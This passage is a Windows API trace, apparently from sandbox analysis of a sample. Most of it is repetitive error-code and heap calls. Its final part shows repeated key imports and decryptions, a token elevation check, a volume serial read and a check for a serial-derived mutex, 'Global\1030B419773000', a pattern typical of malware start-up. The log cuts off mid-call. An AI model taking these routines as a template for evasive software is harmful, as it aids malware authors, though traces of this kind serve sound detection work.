(dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.274] SetLastError (dwErrCode=0x0) [0126.274] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.275] GetLastError () returned 0x0 [0126.275] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.481] SetLastError (dwErrCode=0x0) [0126.481] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.482] SetLastError (dwErrCode=0x0) [0126.482] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.483] SetLastError (dwErrCode=0x0) [0126.483] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x62) returned 0xf11768 [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.484] SetLastError (dwErrCode=0x0) [0126.484] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.485] GetLastError () returned 0x0 [0126.485] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.486] SetLastError (dwErrCode=0x0) [0126.486] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.487] SetLastError (dwErrCode=0x0) [0126.487] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.488] GetLastError () returned 0x0 [0126.488] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.489] SetLastError (dwErrCode=0x0) [0126.489] GetLastError () returned 0x0 [0126.490] SetLastError (dwErrCode=0x0) [0126.490] GetLastError () returned 0x0 [0126.490] SetLastError (dwErrCode=0x0) [0126.490] GetLastError () returned 0x0 [0126.490] SetLastError (dwErrCode=0x0) [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x94) returned 0xf117d8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1f) returned 0xf11878 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x28) returned 0xf118a0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x37) returned 0xf118d0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x3c) returned 0xf11910 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x31) returned 0xf11958 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x14) returned 0xf11998 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x24) returned 0xf119b8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xd) returned 0xf119e8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x17) returned 0xf11a00 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x2b) returned 0xf11a20 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x15) returned 0xf11a58 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x17) returned 0xf11a78 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x22) returned 0xf11a98 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xe) returned 0xf11ac8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xc1) returned 0xf11ae0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x3e) returned 0xf11bb0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1b) returned 0xf11bf8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1d) returned 0xf11c20 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x48) returned 0xf11c48 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x12) returned 0xf11c98 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x18) returned 0xf11cb8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1b) returned 0xf11cd8 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x24) returned 0xf11d00 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x29) returned 0xf11d30 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11d68 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x6b) returned 0xf11d90 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x17) returned 0xf11e08 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xf) returned 0xf11e28 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x16) returned 0xf11e40 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x28) returned 0xf11e60 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x27) returned 0xf11e90 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x12) returned 0xf11ec0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x21) returned 0xf11ee0 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x10) returned 0xf11f10 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1c) returned 0xf11f28 [0126.490] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x12) returned 0xf11f50 [0126.490] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf10fd0 | out: hHeap=0xf10000) returned 1 [0126.491] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0126.491] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x80) returned 0xf10fd0 [0126.491] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1338156) returned 0x0 [0126.491] RtlSizeHeap (HeapHandle=0xf10000, Flags=0x0, MemoryPointer=0xf10fd0) returned 0x80 [0126.491] GetLastError () returned 0x0 [0126.491] SetLastError (dwErrCode=0x0) [0126.491] GetLastError () returned 0x0 [0126.491] SetLastError (dwErrCode=0x0) [0126.491] GetLastError () returned 0x0 [0126.491] SetLastError (dwErrCode=0x0) [0126.491] GetLastError () returned 0x0 [0126.491] SetLastError (dwErrCode=0x0) [0126.491] GetLastError () returned 0x0 [0126.491] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.492] GetLastError () returned 0x0 [0126.492] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.493] SetLastError (dwErrCode=0x0) [0126.493] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.494] SetLastError (dwErrCode=0x0) [0126.494] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.495] SetLastError (dwErrCode=0x0) [0126.495] GetLastError () returned 0x0 [0126.496] SetLastError (dwErrCode=0x0) [0126.496] CryptAcquireContextW (in: phProv=0x133fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x133fcf0*=0x7268e0) returned 1 [0126.503] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffbc8 | out: phKey=0x6ffbc8*=0x7391e8) returned 1 [0126.503] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0x6ffbb0, dwFlags=0x0) returned 1 [0126.504] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf111c8, pdwDataLen=0x6ffb7c | out: pbData=0xf111c8, pdwDataLen=0x6ffb7c) returned 1 [0126.504] CryptDestroyKey (hKey=0x7391e8) returned 1 [0126.504] GetTickCount () returned 0xe07c [0126.504] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x6ffbd4 | out: TokenHandle=0x6ffbd4*=0x1f0) returned 1 [0126.504] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x14, TokenInformation=0x6ffbcc, TokenInformationLength=0x4, ReturnLength=0x6ffbd0 | out: TokenInformation=0x6ffbcc, ReturnLength=0x6ffbd0) returned 1 [0126.504] CloseHandle (hObject=0x1f0) returned 1 [0126.504] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11230 [0126.504] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb30 | out: phKey=0x6ffb30*=0x7397a8) returned 1 [0126.504] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffb18, dwFlags=0x0) returned 1 [0126.504] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffae4 | out: pbData=0xf11230, pdwDataLen=0x6ffae4) returned 1 [0126.504] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.504] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11258 [0126.504] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf11280 [0126.504] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf112a8 [0126.504] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffaa0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb08 | out: phKey=0x6ffb08*=0x7392e8) returned 1 [0126.504] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffaf0, dwFlags=0x0) returned 1 [0126.504] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf112a8, pdwDataLen=0x6ffabc | out: pbData=0xf112a8, pdwDataLen=0x6ffabc) returned 1 [0126.504] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.504] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112a8 | out: hHeap=0xf10000) returned 1 [0126.504] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0126.504] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11280 | out: hHeap=0xf10000) returned 1 [0126.504] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.504] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x6ffb70, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x6ffb70*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.504] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11258 | out: hHeap=0xf10000) returned 1 [0126.504] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11230 [0126.504] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffafc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb64 | out: phKey=0x6ffb64*=0x7393e8) returned 1 [0126.505] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x6ffb4c, dwFlags=0x0) returned 1 [0126.505] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb18 | out: pbData=0xf11230, pdwDataLen=0x6ffb18) returned 1 [0126.505] CryptDestroyKey (hKey=0x7393e8) returned 1 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf11278 [0126.505] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x1f0 [0126.505] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0126.505] CloseHandle (hObject=0x1f0) returned 1 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11278 | out: hHeap=0xf10000) returned 1 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11230 [0126.505] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffadc, dwDataLen=0x4c, hPubKey=0x0, 